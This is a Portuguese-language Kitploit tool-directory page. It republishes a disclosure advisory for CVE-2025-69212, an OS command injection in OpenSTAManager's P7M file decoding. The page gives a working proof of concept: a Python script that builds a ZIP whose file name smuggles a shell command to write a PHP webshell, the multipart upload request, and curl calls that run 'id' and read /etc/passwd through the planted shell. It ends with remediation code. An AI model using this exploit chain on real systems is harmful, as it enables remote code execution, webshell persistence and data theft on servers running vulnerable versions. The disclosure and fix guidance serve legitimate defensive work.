Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69212 — CVE-2025-69212 - OpenSTAManager has an OS Command Injection in P7M File Processing | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2025-69212
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - OpenSTAManager has an OS Command Injection in P7M File Processing

Ver Repositório
4há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-69212: OpenSTAManager possui Injeção de Comandos do SO no Processamento de Arquivos P7M

Visão Geral

CampoDetalhes
ID CVECVE-2025-69212
GravidadeCRÍTICA
AvisoVer Aviso
Descoberto porLukasz Rybak

Produtos Afetados

  • devcode-it/openstamanager (versões: <= 2.9.8)

Classificação CWE

  • CWE-78: Neutralização Incorreta de Elementos Especiais usados em um Comando do SO ('Injeção de Comando do SO')

Detalhes

Resumo

Existe uma vulnerabilidade crítica de Injeção de Comandos do SO na funcionalidade de decodificação de arquivos P7M (XML assinado). Um atacante autenticado pode carregar um arquivo ZIP contendo um arquivo .p7m com um nome malicioso para executar comandos arbitrários do sistema no servidor.

Código Vulnerável

Arquivo: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

O Problema:

  • O parâmetro $file é passado diretamente para exec() sem sanitização
  • Embora esteja entre aspas duplas, um atacante pode escapá-las
  • O nome do arquivo vem de arquivos ZIP carregados (controlado pelo usuário)

Vetor de Ataque

Pontos de Entrada:

  1. plugins/importFE_ZIP/actions.php:126 (quando a importação automática está ativada)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml do ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (construtor)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name da entrada do usuário!
    

Fluxo do Ataque:

  1. Atacante cria ZIP com nome de arquivo malicioso
  2. Carrega o ZIP via plugin importFE_ZIP
  3. A aplicação extrai o ZIP e itera sobre os arquivos
  4. Para arquivos .p7m, decodeP7M() é chamada
  5. O nome malicioso é injetado no comando exec()
  6. O comando arbitrário é executado como usuário do servidor web

Prova de Conceito

⚠️ NOTA IMPORTANTE: O ZipArchive::extractTo() do PHP divide nomes de arquivos no caractere /. O payload NÃO deve conter / nos comandos. Use cd diretorio && comando em vez de caminhos absolutos.

Passo 1: Criar ZIP Malicioso

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Passo 2: Carregar o ZIP

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

Passo 3: Resultado da Exploração

Resposta (erro 500 é esperado – a análise XML falha APÓS a execução do comando):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Verificação – Webshell Criado:

image

Passo 4: Execução Remota de Código

Webshell está acessível publicamente sem autenticação:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

Impacto

  • Execução Remota de Código: Comprometimento total do servidor
  • Exfiltração de Dados: Acesso a todos os dados da aplicação e banco de dados
  • Escalação de Privilégios: Possível escalação se o servidor web estiver com privilégios elevados
  • Persistência: Instalação de backdoors e manutenção de acesso
  • Movimentação Lateral: Movimentação para outros sistemas na rede

Pré-requisitos

  • Usuário autenticado com acesso à funcionalidade de importação de faturas

Remediação

Sanitização de Entrada

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

ou

Validar Nome do Arquivo Antes do Processamento

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Crédito

Descoberto por: Łukasz Rybak

Referências

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

Aviso Legal

Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e de defesa.

Baixar ferramenta